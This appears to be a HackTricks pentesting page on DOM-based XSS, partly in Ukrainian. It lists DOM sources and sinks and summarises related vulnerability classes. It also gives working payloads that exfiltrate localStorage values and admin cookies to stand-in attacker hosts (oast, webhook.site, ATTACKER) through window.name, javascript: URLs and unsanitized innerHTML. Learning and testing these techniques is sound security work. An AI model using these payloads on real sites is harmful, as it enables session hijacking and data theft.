DOM XSS

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

DOM Vulnerabilities

DOM vulnerabilities виникають, коли дані, контрольовані атакуючим, з sources (наприклад, location.search, document.referrer або document.cookie) небезпечно передаються в sinks. Sinks — це функції або об’єкти (наприклад, eval(), document.body.innerHTML), які можуть виконувати або відображати шкідливий контент, якщо їм передати зловмисні дані.

  • Sources — це вхідні дані, якими можуть маніпулювати атакуючі, включно з URLs, cookies та web messages.
  • Sinks — це потенційно небезпечні кінцеві точки, куди шкідливі дані можуть призвести до негативних наслідків, наприклад виконання скриптів.

Ризик виникає, коли дані течуть від source до sink без належної перевірки або очищення, що дозволяє атаки на кшталт XSS.

Tip

Ви можете знайти більш оновлений список sources and sinks у https://github.com/wisec/domxsswiki/wiki

Common sources:

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

Common Sinks:

Open RedirectJavascript InjectionDOM-data manipulationjQuery
locationeval()scriptElement.srcadd()
location.hostFunction() constructorscriptElement.textafter()
location.hostnamesetTimeout()scriptElement.textContentappend()
location.hrefsetInterval()scriptElement.innerTextanimate()
location.pathnamesetImmediate()someDOMElement.setAttribute()insertAfter()
location.searchexecCommand()someDOMElement.searchinsertBefore()
location.protocolexecScript()someDOMElement.textbefore()
location.assign()msSetImmediate()someDOMElement.textContenthtml()
location.replace()range.createContextualFragment()someDOMElement.innerTextprepend()
open()crypto.generateCRMFRequest()someDOMElement.outerTextreplaceAll()
domElem.srcdoc``Local file-path manipulationsomeDOMElement.valuereplaceWith()
XMLHttpRequest.open()FileReader.readAsArrayBuffer()someDOMElement.namewrap()
XMLHttpRequest.send()FileReader.readAsBinaryString()someDOMElement.targetwrapInner()
jQuery.ajax()FileReader.readAsDataURL()someDOMElement.methodwrapAll()
$.ajax()FileReader.readAsText()someDOMElement.typehas()
``Ajax request manipulationFileReader.readAsFile()someDOMElement.backgroundImageconstructor()
XMLHttpRequest.setRequestHeader()FileReader.root.getFile()someDOMElement.cssTextinit()
XMLHttpRequest.open()FileReader.root.getFile()someDOMElement.codebaseindex()
XMLHttpRequest.send()Link manipulationsomeDOMElement.innerHTMLjQuery.parseHTML()
jQuery.globalEval()someDOMElement.hrefsomeDOMElement.outerHTML$.parseHTML()
$.globalEval()someDOMElement.srcsomeDOMElement.insertAdjacentHTMLClient-side JSON injection
``HTML5-storage manipulationsomeDOMElement.actionsomeDOMElement.oneventJSON.parse()
sessionStorage.setItem()XPath injectiondocument.write()jQuery.parseJSON()
localStorage.setItem()document.evaluate()document.writeln()$.parseJSON()
**[**`Denial of Service`**](dom-xss.md#denial-of-service)**someDOMElement.evaluate()document.title``Cookie manipulation
requestFileSystem()``Document-domain manipulationdocument.implementation.createHTMLDocument()document.cookie
RegExp()document.domainhistory.pushState()WebSocket-URL poisoning
Client-Side SQl injectionWeb-message manipulationhistory.replaceState()WebSocket
executeSql()postMessage()````

The innerHTML sink doesn’t accept script elements on any modern browser, nor will svg onload events fire. This means you will need to use alternative elements like img or iframe.

This kind of XSS is probably the hardest to find, as you need to look inside the JS code, see if it’s using any object whose value you control, and in that case, see if there is any way to abuse it to execute arbitrary JS.

Tools to find them

Examples

Open Redirect

From: https://portswigger.net/web-security/dom-based/open-redirection

Open redirect vulnerabilities in the DOM occur when a script writes data, which an attacker can control, into a sink capable of initiating navigation across domains.

It’s crucial to understand that executing arbitrary code, such as javascript:alert(1), is possible if you have control over the start of the URL where the redirection occurs.

Sinks:

location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()

From: https://portswigger.net/web-security/dom-based/cookie-manipulation

DOM-based cookie-manipulation vulnerabilities виникають, коли скрипт включає дані, які можуть контролюватися зловмисником, у значення cookie. Ця вразливість може призвести до непередбачуваної поведінки веб-сторінки, якщо cookie використовується на сайті. Крім того, її можна експлуатувати для проведення session fixation attack, якщо cookie залучається для відстеження сесій користувачів. The primary sink associated with this vulnerability is:

Sinks:

document.cookie

JavaScript Injection

Джерело: https://portswigger.net/web-security/dom-based/javascript-injection

Уразливості DOM-based JavaScript injection виникають, коли скрипт виконує дані, які можуть контролюватися attacker, як JavaScript code.

Sinks:

eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()

Document-domain manipulation

From: https://portswigger.net/web-security/dom-based/document-domain-manipulation

Document-domain manipulation vulnerabilities виникають, коли скрипт встановлює властивість document.domain, використовуючи дані, які може контролювати зловмисник.

Властивість document.domain відіграє ключову роль у забезпеченні same-origin policy браузерами. Коли дві сторінки з різних походжень встановлюють свій document.domain на те саме значення, вони можуть взаємодіяти без обмежень. Хоча браузери накладають певні обмеження на значення, які можна присвоювати document.domain, перешкоджаючи присвоєнню повністю несумісних зі справжнім походженням сторінки значень, існують винятки. Зазвичай браузери дозволяють використовувати дочірні або батьківські домени.

Sinks:

document.domain

WebSocket-URL poisoning

From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning

WebSocket-URL poisoning відбувається, коли скрипт використовує controllable data as the target URL для WebSocket-з’єднання.

Sinks:

Конструктор WebSocket може призвести до WebSocket-URL poisoning vulnerabilities.

From: https://portswigger.net/web-security/dom-based/link-manipulation

DOM-based link-manipulation vulnerabilities виникають, коли скрипт записує attacker-controllable data to a navigation target в межах поточної сторінки, наприклад у clickable link або у submission URL форми.

Sinks:

someDOMElement.href
someDOMElement.src
someDOMElement.action

Ajax request manipulation

From: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation

Ajax request manipulation vulnerabilities виникають, коли скрипт записує attacker-controllable data into an Ajax request, який відправляється за допомогою об’єкта XmlHttpRequest.

Sinks:

XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()

Local file-path manipulation

From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation

Local file-path manipulation vulnerabilities виникають, коли скрипт передає attacker-controllable data to a file-handling API як параметр filename. Цю вразливість може використати атакуючий для створення URL, який, якщо ним перейде інший користувач, може призвести до того, що браузер користувача відкриє або запише довільний локальний файл.

Sinks:

FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()

Client-Side SQl injection

From: https://portswigger.net/web-security/dom-based/client-side-sql-injection

Client-side SQL-injection vulnerabilities виникають, коли скрипт включає дані, контрольовані зловмисником, у client-side SQL query небезпечним способом.

Sinks:

executeSql()

HTML5-storage manipulation

From: https://portswigger.net/web-security/dom-based/html5-storage-manipulation

HTML5-storage manipulation vulnerabilities виникають, коли скрипт stores attacker-controllable data in the web browser’s HTML5 storage (localStorage or sessionStorage). Хоча ця дія сама по собі не обов’язково є вразливістю безпеки, вона стає проблемною, якщо додаток надалі reads the stored data and processes it unsafely. Це може дозволити атакуючому використати механізм збереження для проведення інших DOM-based атак, таких як cross-site scripting та JavaScript injection.

Sinks:

sessionStorage.setItem()
localStorage.setItem()

XPath injection

Джерело: https://portswigger.net/web-security/dom-based/client-side-xpath-injection

DOM-based XPath-injection vulnerabilities виникають, коли скрипт включає attacker-controllable data into an XPath query.

Sinks:

document.evaluate()
someDOMElement.evaluate()

Client-side JSON injection

Джерело: https://portswigger.net/web-security/dom-based/client-side-json-injection

DOM-based JSON-injection vulnerabilities виникають, коли скрипт включає дані, контрольовані атакувальником, у рядок, який розбирається як структура даних JSON і потім обробляється додатком.

Sinks:

JSON.parse()
jQuery.parseJSON()
$.parseJSON()

Web-message manipulation

Джерело: https://portswigger.net/web-security/dom-based/web-message-manipulation

Web-message vulnerabilities виникають, коли скрипт надсилає дані, контрольовані атакуючим, як веб‑повідомлення до іншого документа в межах браузера. Приклад вразливої Web-message manipulation можна знайти на PortSwigger’s Web Security Academy.

Sinks:

The postMessage() method for sending web messages can lead to vulnerabilities if the event listener for receiving messages handles the incoming data in an unsafe way.

DOM-data manipulation

Джерело: https://portswigger.net/web-security/dom-based/dom-data-manipulation

DOM-data manipulation vulnerabilities виникають, коли скрипт записує дані, контрольовані атакуючим, у поле в DOM, яке використовується у видимому інтерфейсі або в логіці на боці клієнта. Цю вразливість може використати атакуючий для створення URL, який, якщо ним скористається інший користувач, може змінити зовнішній вигляд або поведінку клієнтського інтерфейсу.

Sinks:

scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()

Denial of Service

From: https://portswigger.net/web-security/dom-based/denial-of-service

DOM-based denial-of-service vulnerabilities виникають, коли скрипт небезпечно передає дані, контрольовані атакуючим, до проблемного API платформи. Це включає API, які при виклику можуть спричинити, що комп’ютер користувача споживатиме надмірну кількість CPU або дискового простору. Такі вразливості можуть мати значні побічні ефекти, наприклад браузер може обмежити функціональність сайту, відхиляючи спроби зберегти дані в localStorage або припиняючи виконання скриптів, що працюють надто довго.

Sinks:

requestFileSystem()
RegExp()

Dom Clobbering

Dom Clobbering

Неявні глобальні змінні & зловживання window.name

Звернення до name без оголошення (var/let/const) посилається на window.name. Оскільки window.name зберігається під час навігації між доменами, зловмисник може попередньо заповнити ім’я контексту перегляду HTML/JS та пізніше змусити код жертви відобразити це як довірені дані:

  • Відкрийте/перейдіть до цілі в іменованому контексті, яким ви керуєте:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
  • Або повторно використати window.open з спеціально створеним ім’ям target:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")

Якщо додаток пізніше виконує element.innerHTML = name (або подібний sink) без санітизації, керований атакуючим рядок window.name виконується в цільовому origin, що дозволяє DOM XSS та доступ до same-origin storage.

Адмін/автоматизаційні потоки: попередньо заповнене сховище & javascript: навігація

Боти автоматизації (наприклад, Playwright) часто спочатку відвідують внутрішню сторінку, зберігають секрети в localStorage/cookies, а потім переходять до URL, наданого користувачем. Будь-який DOM XSS primitive (включно зі зловживанням window.name) у цьому потоці може ексфільтрувати попередньо встановлений секрет:

fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))

Якщо бот не обмежує схеми, передача javascript: URL (javascript:fetch(...)) виконується в поточному origin без нової навігації, безпосередньо leak-ує значення сховища.

Шаблонний літерал innerHTML + прогалини в частковій санітизації

Фронтенди, які санітизують лише певні поля, але все ще інтерполюють недовірене поле безпосередньо в innerHTML, легко експлуатуються. Приклад:

fetch(`${window.location.origin}/admin/bug_reports`).then(r => r.json()).then(reports => {
reports.forEach(report => {
reportCard.innerHTML = `
<div>${DOMPurify.sanitize(report.id)}</div>
<div>${report.details}</div> <!-- unsanitized sink -->
`;
});
});

Якщо несанітайзоване поле зберігається на сервері (наприклад, bug report “details”), payload стає stored DOM XSS для будь-якого привілейованого переглядача списку. Простий payload, такий як <img src=x onerror=fetch('http://ATTACKER/?c='+document.cookie)>, виконується, коли admin відкриває сторінку, і ексфільтрує їхні cookies.

When the app explicitly disables SESSION_COOKIE_HTTPONLY (e.g., Flask app.config['SESSION_COOKIE_HTTPONLY'] = False), the stolen cookie immediately grants the admin session even if the signing secret rotates on each boot (random secret_key prevents forging, but theft still works).

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks